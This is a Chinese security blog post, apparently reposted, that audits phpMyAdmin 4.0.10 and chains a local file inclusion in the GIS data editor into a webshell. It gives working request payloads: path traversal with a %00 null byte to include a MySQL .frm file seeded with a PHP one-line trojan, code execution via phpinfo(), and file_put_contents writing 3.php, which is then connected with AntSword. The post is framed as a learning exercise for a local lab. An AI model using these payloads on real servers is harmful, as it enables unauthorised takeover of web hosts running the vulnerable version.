phpMyAdmin 4.0.10 文件包含 -> getshell

admin 2023年5月14日21:08:43评论26 views字数 7110阅读23分42秒阅读模式

phpMyAdmin 4.0.10 文件包含 -> getshell

前言:这里这个漏洞相对来说审计起来不是特别难,但是对于初学者还是有点挑战性的,从zkaq web课过来的小伙伴想挑战一下自己代码审计能力的话,可以直接跳到最后下载源码,聂风老师上课教的是4.8版本的文件包含漏洞。注:源码本地搭建无法登录的话放在win7虚拟机里面运行
(注:如果直接跳到最后拿源码自己审计的话,在文件包含的时候记得加上token值,就是get传参中的那串token值留下。)


代码审计

这里的话漏洞规则是我自己写的
文件包含的话规则是:

include.*$.{1,5}|include_once.*$.{1,5}|require.*$.{1,5}|require_once.*$.{1,5}

如果师傅们有什么好的规则或者想法还请评论区分享下


这里的话自动审计出来的文件包含漏洞
还挺多的
这里的话我是自己一个一个追踪排除寻找漏洞的
所以可能有些地方有漏洞但是因为我知识浅薄没发现

phpMyAdmin 4.0.10 文件包含 -> getshell


这里漏洞不存在的案例就放一个了,不然文章就得写太多了
这里的话能看到一个 include $_REQU

phpMyAdmin 4.0.10 文件包含 -> getshell


进入查看源码
这里需要满足四个条件才能够包含 target

phpMyAdmin 4.0.10 文件包含 -> getshell


1 !empty($_REQUEST[‘target’])

empty()函数,判断内容中的变量是否为空
如果为空,那么返回 True
!是取反,也就是检测是否非空
说白了就是看一下这里有没有传入target这个变量


2 is_string($_REQUEST[‘target’])

检测变量是否为字符串


3 ! preg_match(‘/^index/‘, $_REQUEST[‘target’])

正则表达式,^符号为匹配开头,也就是说开头需要是 index,返回值才是True
结合前面的感叹号 “!”
布尔值取反,
也就是说,开头不能是 index


4 in_array($_REQUEST[‘target’], $goto_whitelist)

in_array() 判断第一个参数是否存在于第二个参数(数组)之中
也就是说,第二个参数是一个数组
判断这个数组里面有没有第一个参数


前三个条件都好满足
主要是最后一个
全文搜索变量 $goto_whitelist
并没有找到关于它的定义
推测这可能是一个全局变量

phpMyAdmin 4.0.10 文件包含 -> getshell


全局搜索

phpMyAdmin 4.0.10 文件包含 -> getshell


点进去查看一下
这里的内容全部被写死了
也就是说不属于我们可以控制的范围
这个点就pass掉了

$goto_whitelist = array(
//'browse_foreigners.php',
//'changelog.php',
//'chk_rel.php',
'db_create.php',
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_qbe.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_printview.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
//'index.php',
//'navigation.php',
//'license.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
//'phpinfo.php',
'querywindow.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_move_copy.php',
'tbl_printview.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
//'themes.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);

漏洞点

phpMyAdmin 4.0.10 文件包含 -> getshell


查看代码

class PMA_GIS_Factory
{
/**
* Returns the singleton instance of geometric class of the given type.
*
* <span>@param</span> string $type type of the geometric object
*
* <span>@return</span> object the singleton instance of geometric class of the given type
* <span>@access</span> public
* <span>@static#CTL{n}</span> */
public static function factory($type)
{
include_once './libraries/gis/pma_gis_geometry.php';

$type_lower = strtolower($type);
if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) {
return false;
}
if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') {
switch(strtoupper($type)) {
case 'MULTIPOLYGON' :
return PMA_GIS_Multipolygon::singleton();
case 'POLYGON' :
return PMA_GIS_Polygon::singleton();
case 'MULTIPOINT' :
return PMA_GIS_Multipoint::singleton();
case 'POINT' :
return PMA_GIS_Point::singleton();
case 'MULTILINESTRING' :
return PMA_GIS_Multilinestring::singleton();
case 'LINESTRING' :
return PMA_GIS_Linestring::singleton();
case 'GEOMETRYCOLLECTION' :
return PMA_GIS_Geometrycollection::singleton();
default :
return false;
}
} else {
return false;
}
}
}

追踪过去
变量 $type_lower 被拼接在了内容里

phpMyAdmin 4.0.10 文件包含 -> getshell


向上追踪
这里 $type_lower 是将 $type 的字符转化为小写
$type 是函数的传入参数

phpMyAdmin 4.0.10 文件包含 -> getshell


然后我们搜索一下这个函数在哪里被调用了
一个一个往下找吧
除了第二个
因为第二个是定义这个函数

phpMyAdmin 4.0.10 文件包含 -> getshell


第一个,这里传入参数是 $geom_type

phpMyAdmin 4.0.10 文件包含 -> getshell


向上追踪 $geom_type
这里 $geom_type是取出数组
$gis_data中的 gis_type 键所对应的值
也就是说
$gis_data 是一个数组
这个数组里面有键值对
把 gis_type 取出来
变成变量 $geom_type

phpMyAdmin 4.0.10 文件包含 -> getshell


再向上追溯
这个代码块,会给 数组 gis_type 赋值
如果满足了 这些 if 条件
那么 gis_type 就相当于被写死了

phpMyAdmin 4.0.10 文件包含 -> getshell

查看最上面的 if 条件
! isset($gis_data[‘gis_type’])
isset() 检测变量是否存在
存在返回 True
加上感叹号取反
就是不存在返回 True
也就是检测是否为空
为空才会执行
所以这里也没什么卵用


再向上追溯
这里第一句先给 $gis_data 建立成一个空数组
然后用了一个函数作为布尔值的返回
如果函数返回值为True
那么$gis_data的值就会变成我们所传入的
$_REQUEST[‘gis_data’]
phpMyAdmin 4.0.10 文件包含 -> getshell


追踪函数

function PMA_isValid(&amp;$var, $type = 'length', $compare = null)
{
if (! isset($var)) {
// var is not even set
return false;
}
if ($type === false) {
// no vartype requested
return true;
}
if (is_array($type)) {
return in_array($var, $type);
}
// allow some aliaes of var types
$type = strtolower($type);
switch ($type) {
case 'identic' :
$type = 'identical';
break;
case 'len' :
$type = 'length';
break;
case 'bool' :
$type = 'boolean';
break;
case 'float' :
$type = 'double';
break;
case 'int' :
$type = 'integer';
break;
case 'null' :
$type = 'NULL';
break;
}
if ($type === 'identical') {
return $var === $compare;
}
// whether we should check against given $compare
if ($type === 'similar') {
switch (gettype($compare)) {
case 'string':
case 'boolean':
$type = 'scalar';
break;
case 'integer':
case 'double':
$type = 'numeric';
break;
default:
$type = gettype($compare);
}
} elseif ($type === 'equal') {
$type = gettype($compare);
}
// do the check
if ($type === 'length' || $type === 'scalar') {
$is_scalar = is_scalar($var);
if ($is_scalar &amp;&amp; $type === 'length') {
return (bool) strlen($var);
}
return $is_scalar;
}
if ($type === 'numeric') {
return is_numeric($var);
}
if (gettype($var) === $type) {
return true;
}
return false;
}

我们一步一步来看
刚刚调用函数时,传入的第一个参数为
$_REQUEST[‘gis_data’]
第二个参数为
‘array’


先来看前三个if语句

    if (! isset($var)) {
// var is not even set
return false;
}
if ($type === false) {
// no vartype requested
return true;
}
if (is_array($type)) {
return in_array($var, $type);
}

第一个检测$var是否存在
不存在返回 false
如果我们传入了变量 $_REQUEST[‘gis_data’]
第一个 if 就无影响

第二个if 判断 $type 的值是否全等于 false
但是$type的值是array
也就过掉了

第三个if是判断$type是不是数组
很显然不是,也过掉


然后就是一个switch语句

switch ($type) {
case 'identic' :
$type = 'identical';
break;
case 'len' :
$type = 'length';
break;
case 'bool' :
$type = 'boolean';
break;
case 'float' :
$type = 'double';
break;
case 'int' :
$type = 'integer';
break;
case 'null' :
$type = 'NULL';
break;
}

这里的话 case 就是匹配 $type 的值
当 $type 的值和某一个对应上了
就执行这个case下的语句
很显然这里没有一个是array的
无影响


接下来的三个if还是判断 $type 的值有无对应的

但是很显然,没有对应

    if ($type === 'similar') {
switch (gettype($compare)) {
case 'string':
case 'boolean':
$type = 'scalar';
break;
case 'integer':
case 'double':
$type = 'numeric';
break;
default:
$type = gettype($compare);
}
} elseif ($type === 'equal') {
$type = gettype($compare);
}
// do the check
if ($type === 'length' || $type === 'scalar') {
$is_scalar = is_scalar($var);
if ($is_scalar &amp;&amp; $type === 'length') {
return (bool) strlen($var);
}
return $is_scalar;
}
if ($type === 'numeric') {
return is_numeric($var);
}

最后一个if语句

gettype() 获取参数的属性
$type -> array
也就是说我们的$var需要是一个数组
这里的返回值就是True了

    if (gettype($var) === $type) {
return true;
}

GetShell

利用聂风老师上课讲的知识点
创建一个表
写入一句话木马
(注:这里木马的密码不能是数字,也不能和其他cms里已经用过的参数冲突,不然会被判断值什么的然后重置)

phpMyAdmin 4.0.10 文件包含 -> getshell


然后找一下sql文件的储存路径

phpMyAdmin 4.0.10 文件包含 -> getshell


得到路径
C:/phpStudy/MySQL/data/
然后这里就有一个问题了
linux对路径大小写铭感
因为有一条语句会将我们传入的参数
都变成小写
所以在linux中,如果路径里有大写字母
就不能用了
但是一般来说,是小写
这也可以成为我们的一种防御思路
铭感路径用驼峰命名法
简单好用还能防漏洞


构造payload
gis_data[gis_type]=/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00&a=phpinfo();

wz是数据库库名
然后拼接起来的话就是
./libraries/gis/pmagis/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00.php
因为%00
.php会被忽略


然后访问存在漏洞的页面
gis_data_editor.php
利用hackbar
将其他的参数删掉
留下token
因为会通过token值进行一些判断
如果没有token值可能被认定为CSRF攻击(应该)
从而被拦截

phpMyAdmin 4.0.10 文件包含 -> getshell


发送数据包之后如果没反应
可以把上面的url滑到最后
查看上面的url和自己填的一样不一样
不一样就改了
phpMyAdmin 4.0.10 文件包含 -> getshell


成功代码执行
然后再改造payload写入木马

phpMyAdmin 4.0.10 文件包含 -> getshell


gis_data[gis_type]=/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00&a=file_put_contents(‘3.php’,’’);

这里的话用system() + echo 写木马会有点问题,所以就直接用file_put_contents()了

phpMyAdmin 4.0.10 文件包含 -> getshell


访问3.php

phpMyAdmin 4.0.10 文件包含 -> getshell


连接蚁剑
成功拿下目标web服务器
phpMyAdmin 4.0.10 文件包含 -> getshell


总结

还是刚刚说的那些,这里如果是Linux服务器的话,并且sql文件储存路径有大小写的话,就没办法拿到webshell了,并且还不能任意文件包含,还只能包含路径没有大写字符的,反正至少以我目前的水平是不行的,不过 linux 默认mysql文件的路径是 /var/lib/mysql/。默认情况下是无影响的。

转载:https://forum.butian.net/share/2257作者:君叹欢迎大家去关注作者

如果想和我一起讨论,欢迎加入我的知识星球!!!

phpMyAdmin 4.0.10 文件包含 -> getshell



扫描下图加入freebuf知识大陆

phpMyAdmin 4.0.10 文件包含 -> getshell


师傅们点赞、转发、在看就是最大的支持

后台回复知识星球或者知识大陆也可获取加入链接!!!

原文始发于微信公众号(星冥安全):phpMyAdmin 4.0.10 文件包含 -> getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月14日21:08:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   phpMyAdmin 4.0.10 文件包含 -> getshellhttp://cn-sec.com/archives/1731856.html

发表评论

匿名网友 填写信息